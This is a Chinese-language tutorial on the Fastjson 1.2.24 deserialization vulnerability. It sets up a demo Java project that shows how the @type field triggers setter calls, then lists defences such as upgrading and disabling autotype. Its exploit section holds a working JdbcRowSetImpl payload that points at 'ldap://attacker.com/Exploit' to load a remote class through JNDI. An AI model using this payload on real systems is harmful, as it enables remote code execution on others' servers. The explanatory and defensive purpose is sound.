Fastjson 1.2.24 反序列化漏洞分析及測試環境構建
漏洞背景
Fastjson 是阿里巴巴開源的一個高性能 Java JSON 庫,廣泛用于 Java 對象的序列化和反序列化。在 1.2.24 及之前的版本中,存在一個嚴重的安全漏洞,攻擊者可以通過構造惡意的 JSON 字符串實現遠程代碼執行(RCE)。
漏洞原理
Fastjson 在反序列化時,支持通過 @type
屬性指定目標類。當解析 JSON 時,Fastjson 會自動調用目標類的 setter 方法及特定條件的 getter 方法。攻擊者可以利用這一特性,通過精心構造的 JSON 字符串調用某些危險類的危險方法,最終實現任意代碼執行。
測試環境搭建
- 項目結構
fastjson-vuln-demo/
├── pom.xml
└── src/├── main/│ ├── java/│ │ └── org/│ │ └── rocky/│ │ ├── App.java │ │ └── model/│ │ └── User.java│ └── resources/└── test/└── java/
- 關鍵代碼
User.java
package org.rocky.model;public class User {private String name;private int age;private String email;public User() {System.out.println("User無參構造器被調用");}public User(String name, int age, String email) {this.name = name;this.age = age;this.email = email;System.out.println("User全參構造器被調用");}// Getter和Setter方法 public String getName() {System.out.println("getName()被調用");return name;}public void setName(String name) {System.out.println("setName()被調用,參數: " + name);this.name = name;}public int getAge() {System.out.println("getAge()被調用");return age;}public void setAge(int age) {System.out.println("setAge()被調用,參數: " + age);this.age = age;}public String getEmail() {System.out.println("getEmail()被調用");return email;}public void setEmail(String email) {System.out.println("setEmail()被調用,參數: " + email);this.email = email;}@Overridepublic String toString() {return "User{" +"name='" + name + '\'' +", age=" + age +", email='" + email + '\'' +'}';}
}
App.java
package org.rocky;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.rocky.model.User;public class App {public static void main(String[] args) {// 正常序列化與反序列化 normalSerializationDemo();// 使用@type的反序列化 deserializationWithTypeDemo();}private static void normalSerializationDemo() {System.out.println("\n=== 正常序列化與反序列化 ===");// 創建用戶對象 User user = new User("張三", 25, "zhangsan@example.com");// 序列化為JSON字符串String jsonString = JSON.toJSONString(user);System.out.println("序列化結果: " + jsonString);// 反序列化為User對象User parsedUser = JSON.parseObject(jsonString, User.class);System.out.println("反序列化結果: " + parsedUser);}private static void deserializationWithTypeDemo() {System.out.println("\n=== 使用@type的反序列化 ===");// 使用@type指定目標類 String jsonWithType = "{\"@type\":\"org.rocky.model.User\",\"name\":\"李四\",\"age\":30,\"email\":\"lisi@example.com\"}";System.out.println("反序列化JSON: " + jsonWithType);Object obj = JSON.parseObject(jsonWithType);System.out.println("反序列化結果: " + obj);}
}
- pom.xml 依賴配置
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>org.rocky</groupId><artifactId>fastjson</artifactId><version>1.0-SNAPSHOT</version><packaging>jar</packaging><name>fastjson</name><url>http://maven.apache.org</url><properties><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding><maven.compiler.source>1.8</maven.compiler.source><maven.compiler.target>1.8</maven.compiler.target></properties><dependencies><!-- Fastjson 1.2.24 --><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency><!-- 升級后的 JUnit --><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.12</version><scope>test</scope></dependency></dependencies><build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-compiler-plugin</artifactId><version>3.8.1</version></plugin></plugins><resources><resource><directory>src/main/resources</directory><includes><include>**/*.properties</include><include>**/*.xml</include><include>**/*.json</include></includes><excludes><exclude>**/.keep</exclude></excludes><filtering>false</filtering></resource></resources></build>
</project>
漏洞驗證
- 正常反序列化流程
運行 normalSerializationDemo()
方法,觀察輸出:
=== 正常序列化與反序列化 ===
User全參構造器被調用
序列化結果: {"age":25,"email":"zhangsan@example.com","name":"張三"}
User無參構造器被調用
setAge()被調用,參數: 25
setEmail()被調用,參數: zhangsan@example.com
setName()被調用,參數: 張三
反序列化結果: User{name='張三', age=25, email='zhangsan@example.com'}
- 使用@type的反序列化
運行 deserializationWithTypeDemo()
方法,觀察輸出:
=== 使用@type的反序列化 ===
反序列化JSON: {"@type":"org.rocky.model.User","name":"李四","age":30,"email":"lisi@example.com"}
User無參構造器被調用
setName()被調用,參數: 李四
setAge()被調用,參數: 30
setEmail()被調用,參數: lisi@example.com
反序列化結果: {"age":30,"email":"lisi@example.com","name":"李四"}
漏洞利用原理
攻擊者可以構造特殊的 JSON 字符串,利用 Fastjson 的自動類型轉換和 Java 反射機制,調用危險類的方法。例如:
String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/Exploit\",\"autoCommit\":true}";
JSON.parse(maliciousJson);
這段代碼會嘗試通過 JNDI 注入加載遠程惡意類,導致 RCE。
防御措施
- 升級 Fastjson:升級到最新安全版本(1.2.83 或更高)
- 關閉 autotype:設置
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
- 使用安全模式:
JSON.parse(text, Feature.SafeMode)
- 白名單控制:配置
ParserConfig.getGlobalInstance().addAccept("org.rocky.model.")
總結
Fastjson 1.2.24 的反序列化漏洞源于其過于靈活的自動類型轉換機制。通過分析測試環境中的代碼執行流程,我們可以清楚地看到 Fastjson 如何通過反射調用目標類的方法。在實際開發中,務必使用最新版本的 Fastjson 并采取適當的安全配置。
建議進一步研究:
- 完整的漏洞利用鏈構造
- JNDI 注入原理
- Fastjson 的安全配置最佳實踐